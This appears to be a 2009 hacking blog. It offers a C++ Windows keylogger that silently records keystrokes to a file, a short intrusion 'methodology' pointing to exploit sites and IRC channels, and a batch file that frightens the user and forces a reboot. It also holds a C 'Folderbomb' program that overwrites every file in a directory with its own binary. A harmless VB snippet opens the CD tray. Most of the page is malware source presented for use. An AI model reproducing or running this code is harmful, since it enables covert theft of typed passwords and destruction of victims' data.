Wednesday, August 19, 2009

A SIMPLE CODE IN C++ FOR KEYLOGGER

/* A code by SyS */
#include
#include
#include
void keys(int key,char *file)
{

FILE *key_file;

key_file = fopen(file,"a+");



if (key==8)

fprintf(key_file,"%s","[del]");

if (key==13)

fprintf(key_file,"%s","\n");

if (key==32)

fprintf(key_file,"%s"," ");

if (key==VK_CAPITAL)

fprintf(key_file,"%s","[Caps]");

if (key==VK_TAB)

fprintf(key_file,"%s","[TAB]");

if (key ==VK_SHIFT)

fprintf(key_file,"%s","[SHIFT]");

if (key ==VK_CONTROL)

fprintf(key_file,"%s","[CTRL]");

if (key ==VK_PAUSE)

fprintf(key_file,"%s","[PAUSE]");

if (key ==VK_KANA)

fprintf(key_file,"%s","[Kana]");

if (key ==VK_ESCAPE)

fprintf(key_file,"%s","[ESC]");

if (key ==VK_END)

fprintf(key_file,"%s","[END]");

if (key==VK_HOME)

fprintf(key_file,"%s","[HOME]");

if (key ==VK_LEFT)

fprintf(key_file,"%s","[LEFT]");

if (key ==VK_UP)

fprintf(key_file,"%s","[UP]");

if (key ==VK_RIGHT)

fprintf(key_file,"%s","[RIGHT]");

if (key ==VK_DOWN)

fprintf(key_file,"%s","[DOWN]");

if (key ==VK_SNAPSHOT)

fprintf(key_file,"%s","[PRINT]");

if (key ==VK_NUMLOCK)

fprintf(key_file,"%s","[NUM LOCK]");

if (key ==190 || key==110)

fprintf(key_file,"%s",".");

if (key >=96 && key <= 105){

key = key - 48;

fprintf(key_file,"%s",&key);

}

if (key >=48 && key <= 59)

fprintf(key_file,"%s",&key);



if (key !=VK_LBUTTON || key !=VK_RBUTTON){

if (key >=65 && key <=90){

if (GetKeyState(VK_CAPITAL))

fprintf(key_file,"%s",&key);
else

{

key = key +32;

fprintf(key_file,"%s",&key);

}
}

}

fclose(key_file);
}

int main()
{
char i;
char test[MAX_PATH];
GetWindowsDirectory(test,sizeof(test));
strcat(test,"//keys.txt");

while(1){

for(i=8;i<=190;i++){

if (GetAsyncKeyState(i) == -32767)

{

keys (i,test);

}
}

}

}

Wednesday, June 17, 2009

Methodology for hacking :-


1) Get the IP address of the person (obviously).



2) Do a complete port scan using nmap.



3) Find out the services associated with the ports.



4) Research for exploits on secunia or milkw0rm or h4ck-y0u.org (my site). Well my first place would be IRC. If you are really serious about hacking/cracking, then come to my IRC Network ( irc.nitrousirc.net ) and join #h4cky0u and you can request for help there. My nickname in IRC is "Jet_Blazer".



This is the key point. Research. As they say, "where to find information" is more important these days. I just named a few sites but in time, you will gain general experience and know how to find information. Hanging out in IRCs (not just my network) is a great way to start. You will develop useful contacts which is very important and I usually get most of my information from my friends and its much quicker and fun to hack in a team Smile


5) Research for possible software to use your exploit depending on your research. For example, if you found out that the service has a code injection exploit, then either develop your own shellcode payload or use something from an existing one like from the Metasploit Framework? In rare cases, you will be forced to develop your own software.

Monday, June 15, 2009

A program in vb to open and close cd tray.....

Here's a short code snippet that lets you open and close the CD door. Note that not all the CD drives support these functions.
================================================================
CODE:
================================================================
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" _
(ByVal lpstrCommand As String, ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Private Sub cmdOpenDoor_Click()
mciSendString "Set CDAudio Door Open Wait", vbNullString, 0, 0
End Sub

Private Sub cmdCloseDoor_Click()
mciSendString "Set CDAudio Door Closed Wait", vbNullString, 0, 0
End Sub

Fake Virus that restarts your PC........

Please use this code at your own risk. The Code needs to be written in notepad and saved as .bat whenever the vat file is clicked the file will execute.
=========================================================
CODE :
=========================================================

title You Fool !!!!!!!!!!!!!!!!!!!!
prompt Sumeet pardeshi

msg * The system is affecected now. Thanks for installing the SYS32 trojan. ~~SyS~~

color a
dir /s


msg * The system wont start in next boot. BEST OF LUCK ! The countdown begins.....
shutdown -r -t 5 -c " Thanks for doing that??.... " -f
cls



Virus in C to create Folder in Folder .........

Please use this code at your own risk. The header files to be included are not mentioned for some reasons.
================================================================
CODE:
================================================================
void main(int argc,char* argv[])
{
char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:Sumeet pardeshi(sumeetpardeshi@ymail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{
printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);
while(1)
{
byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}